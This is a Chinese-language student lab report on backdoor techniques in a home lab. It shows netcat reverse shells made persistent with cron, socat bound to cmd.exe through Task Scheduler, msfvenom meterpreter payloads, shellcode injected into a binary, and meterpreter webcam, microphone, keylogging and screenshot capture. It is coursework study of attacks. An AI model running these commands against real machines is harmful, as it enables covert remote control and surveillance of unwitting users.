Exp2-后门原理与实践

基础问题回答

1、例举你能想到的一个后门进入到你系统中的可能方式?

  • 在非正规网站下载盗版软件,后门隐藏在盗版软件中。

  • 受到诱骗点击某些可执行文件(表面上是压缩包,实际上是双击自动解压执行)

2、例举你知道的后门如何启动起来(win及linux)的方式?

  • 替换或感染系统文件
  • 后台插入免杀进程

3、Meterpreter有哪些给你印象深刻的功能?

  • 可以干很多事情:获取密码,下载注册表,获取系统信息等
  • 当目标机器重启之后仍然可以控制
  • 可实现同时多个session操作

4、如何发现自己有系统有没有被安装后门?

  • 定期使用强力的杀毒软件进行全盘查杀
  • 查看自己主机上是否存在可疑进程
  • 进行流量监控,查看是否有非法流量发出

实验内容

一、使用netcat获取主机操作Shell,cron启动

  1. 分别查看主机和kali的IP:
  • 主机

image-20210328123846160

  • kali

image-20210328123915537

  1. Win10主机使用ncat程序监听本机的5205端口

image-20210328125046125

  1. kali虚拟机nc连接Win10主机反弹shell,成功getshell

image-20210328125344769

  1. 通过cron命令启动
  • 先用crontab -e指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,3表示选择编辑器)

image-20210328130131790

  • 在最后一行添加5 * * * * nc 192.168.211.1 1221 -e /bin/sh意思是,每个小时的第5分钟反向连接Windows主机的1221端口

image-20210328130100328

  • 最后等到每小时的05分,就可以getshell了image-20210328131040714

二、使用socat获取主机操作Shell, 任务计划启动

  1. 在“任务计划程序”中“创建任务”
  • 通过运行窗口快速打开计算机管理

image-20210328131853823

  • 进入计算机管理界面后,点击创建任务

image-20210328132230535

  • 选择“触发器”——“新建”,,并将触发器配置如下:

image-20210328132210271

  • 再点击“操作”——“新建”,在“程序或脚本”找到socat的路径,在“参数”中填写tcp-listen:1221 exec:cmd.exe,pty,stderr,这个命令会把cmd.exe绑定到端口1221,同时把cmd的stderr重定向到stdout上。

image-20210328132147440

  • 最后按Win+L锁定计算机,再打开后可以发现之前创建的任务已经开始运行了

image-20210328132709282

  1. 通过kali连接Win10主机
  • 输入socat - tcp:192.168.211.1:1221指令连接Win10主机,getshell

image-20210328132953269

三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1. 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.137 LPORT=1221 -f exe > 20181221.exe指令生成后门。

    image-20210328135514750

image-20210328133701957

  1. 在Win10中使用ncat -lv 1221 > 20181221.exe指令将被控制主机进入接受文件模式

image-20210328135133457

  1. 在kali中使用nc 192.168.211.1 1221 < 20181221.exe将后门传输过去

image-20210328135503020

image-20210328135443222

  1. 在kali上使用msfconsole指令进入msf控制台

image-20210328140117735

  1. 输入指令进行连接
  • 输入use exploit/multi/handler使用监听模块,设置payload

  • 输入set payload windows/meterpreter/reverse_tcp 设置载荷,基于TCP的反向连接反弹windows shell

  • 输入 set LHOST 192.168.211.137 设置本主机IP

  • 输入 set LPORT 1221 设置本主机端口

  • 输入exploit,等待启动后门程序

image-20210328140154503

  1. Win10主机运行后门“20181221.exe”

image-20210328140230266

  1. kali上getshell

image-20210328140254136

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  1. 使用record_mic指令可以截获一段音频

image-20210328140520782

  1. 使用webcam_snap指令可以使用摄像头进行拍照,效果如下

    image-20210328140734953

image-20210328140707664

  1. 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

image-20210328140901017

  1. 使用screenshot指令可以进行截屏

image-20210328141101069

五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

通过查找网上资料发现有这样一条指令:

msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe

  • 在参数说明中提到,-p使用的为有效载荷,由于我们是在x86下的linux系统,所以要改为linux/x86/meterpreter/reverse_tcp

  • -x是可执行文件模板,shellcode会写入这个可执行文件中,我们这里用到的是pwn1,所以改为pwn1

  • LHOST、LPORT是ip地址和端口,我们把它改为192.168.211.1371221

  • -f是生成文件的类型,我们把它改为二进制可执行文件elf

  • 所以最后的payload就是msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.211.137 LPORT=1221 -x pwn1 -f elf > 20181221pwn

生成完payload之后,我们运行MSF(具体指令参考上一过程),再运行我们生成的20181221pwn文件,就可以getshell了

image-20210328145907224

实验中遇到的问题及解决方法

  1. 传输20181221后门文件到win10失败。

解决:关闭杀毒软件,将后门文件设为信任文件。

  1. 生成的20181221pwn文件无法运行,提示权限不够

解决:通过chmod +x 20181221pwn命令修改文件权限,从而可运行

思考体会

​ 通过本次实验我懂得了后门的原理,学会了如何制作后门和使用后门,并且学会了MSF的使用。这次实验使我深刻感受到杀毒软件的必要性和网络安全的重要性,要时刻防范后门的植入。

原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/14588771.html